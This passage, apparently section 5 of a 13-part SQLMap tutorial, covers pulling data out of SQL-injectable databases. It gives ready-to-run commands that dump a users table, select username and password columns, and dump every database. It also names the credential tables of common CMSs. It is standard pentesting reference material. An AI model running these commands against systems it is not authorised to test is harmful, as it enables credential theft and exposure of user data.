SQLMap Section 5 of 13

Data Extraction

Extract sensitive data from vulnerable databases including credentials, user data, and configuration.

Extract all rows from a specific table:

bash

1sqlmap -u 'http://target.com?id=1' -D mydb -T users --dump

Extract only the columns you need:

bash

1sqlmap -u 'http://target.com?id=1' -D mydb -T users -C username,password --dump

Extract everything (very aggressive):

bash

1sqlmap -u 'http://target.com?id=1' --dump-all --batch

Resume partial dumps automatically - SQLMap tracks progress in session files.

bash

1sqlmap -u 'http://target.com?id=1' -D mydb -T users --dump --keep-alive

Warning

Some databases limit the number of rows returned per query. Use --limit and --start to control batch sizes.

wp_users, wp_options, wp_posts

jos_users, jos_content

users, node, taxonomy_term_data

admin_user, customer_entity